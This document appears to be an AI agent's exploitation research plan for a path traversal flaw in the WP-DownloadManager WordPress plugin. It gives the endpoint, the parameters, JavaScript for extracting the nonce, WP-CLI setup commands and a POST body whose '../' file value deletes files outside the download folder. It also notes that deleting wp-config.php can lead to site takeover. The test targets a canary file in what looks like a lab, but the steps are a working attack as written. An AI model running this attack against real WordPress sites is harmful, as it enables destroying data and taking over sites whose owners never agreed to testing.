Exploitation Research Plan: CVE-2026-2426 - WP-DownloadManager Path Traversal

1. Vulnerability Summary

WP-DownloadManager (<= 1.69) contains a path traversal vulnerability in its file deletion functionality within download-manager.php. The plugin fails to validate or sanitize the file parameter against directory traversal sequences (e.g., ../). This allows an authenticated administrator to delete arbitrary files on the server by traversing out of the configured download directory. Deleting critical files like wp-config.php can lead to site takeover or remote code execution by re-triggering the WordPress installation process.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin.php?page=wp-downloadmanager/download-manager.php
• Method: POST
• Authentication: Required (Administrator or user with manage_downloads capability).
• Vulnerable Parameter: file
• Action Parameter: do (Set to the localized string for "Delete File")
• Nonce Parameter: _wpnonce (Action: wp-downloadmanager_delete-file)
• Precondition: At least one download must exist in the system to easily retrieve a valid nonce and file_id from the management UI.

3. Code Flow

1. Entry Point: The administrator accesses the "Manage Downloads" menu. wp-downloadmanager.php loads download-manager.php.
2. Capability Check: download-manager.php checks current_user_can( 'manage_downloads' ).
3. Action Trigger: The script checks if(!empty($_POST['do'])). If $_POST['do'] matches the localized string for Delete File (e.g., __('Delete File', 'wp-downloadmanager')), it enters the deletion block.
4. Nonce Verification: It calls check_admin_referer('wp-downloadmanager_delete-file').
5. Path Resolution (The Sink):
   • $file_path = get_option( 'download_path' ); (Typically points to wp-content/uploads/downloads or similar).
   • $file_to_delete = $_POST['file']; (User-controlled).
   • The plugin performs an unlink($file_path . $file_to_delete) or similar file operation without stripping ../ sequences.

4. Nonce Acquisition Strategy

The nonce is required for the deletion action. Since this is an administrator-level exploit, we will use the browser_eval tool to extract the nonce from the "Manage Downloads" page.

1. Navigate: Use browser_navigate to wp-admin/admin.php?page=wp-downloadmanager/download-manager.php.
2. Identify Nonce: The deletion forms are typically located in the downloads table. Each row has a "Delete" button.
3. Extraction JS:

   // Find the hidden input with name '_wpnonce' inside a form that has 'Delete File' action
   (function() {
       const deleteBtn = Array.from(document.querySelectorAll('input[type="submit"]')).find(el => el.value === 'Delete File');
       if (deleteBtn && deleteBtn.form) {
           return deleteBtn.form.querySelector('input[name="_wpnonce"]').value;
       }
       return null;
   })()
   

4. Note: The file_id for a specific row can also be extracted from the same form (input[name="file_id"]).

5. Exploitation Strategy

Step 1: Authentication

Log in as an Administrator using the provided credentials.

Step 2: Test Data Setup

We need a dummy file and a corresponding entry in the plugin to generate the management UI.

1. Create Canary File: touch /var/www/html/traversal-canary.php
2. Configure Download Path: Ensure download_path is set to a known location via WP-CLI: wp option update download_path "/var/www/html/wp-content" --format=json.
3. Add Dummy Download:

   wp db query "INSERT INTO wp_downloads (file_name, file, file_size, file_date, file_updated_date, file_last_downloaded_date) VALUES ('Canary', 'canary.txt', 0, NOW(), NOW(), NOW());"
   

Step 3: Extract Nonce and ID

1. Navigate to admin.php?page=wp-downloadmanager/download-manager.php.
2. Use browser_eval with the script in Section 4 to get the _wpnonce and file_id.

Step 4: Execution

Send a POST request to delete the canary file at the root.

• URL: https://target.local/wp-admin/admin.php?page=wp-downloadmanager/download-manager.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  do=Delete File&
  file=../traversal-canary.php&
  file_id=[EXTRACTED_ID]&
  _wpnonce=[EXTRACTED_NONCE]
  

  (Note: The do value must match the exact button text, usually "Delete File" in English).

6. Expected Results

• Response: The server should respond with a 200 OK and a message indicating the file was deleted (e.g., "File Deleted").
• Side Effect: The file /var/www/html/traversal-canary.php will be removed from the filesystem.

7. Verification Steps

1. Check Filesystem: Use WP-CLI to check if the canary file exists:

   ls /var/www/html/traversal-canary.php
   

   (Expected: ls: cannot access ... No such file or directory)
2. Check Database: Verify the entry was also removed from the downloads table:

   wp db query "SELECT * FROM wp_downloads WHERE file_name='Canary';"
   

8. Alternative Approaches

If the "Delete File" action name is different due to translation:

1. Inspect the page source to find the value of the input[type="submit"] button in the delete form.
2. Use that value in the do parameter.

If the individual delete fails, check for Bulk Actions:

• The do parameter might be Delete with an array of file_ids[].
• Check if the bulk delete logic also uses the file parameter directly.
• The primary traversal is documented to be in the file parameter during the Delete File case.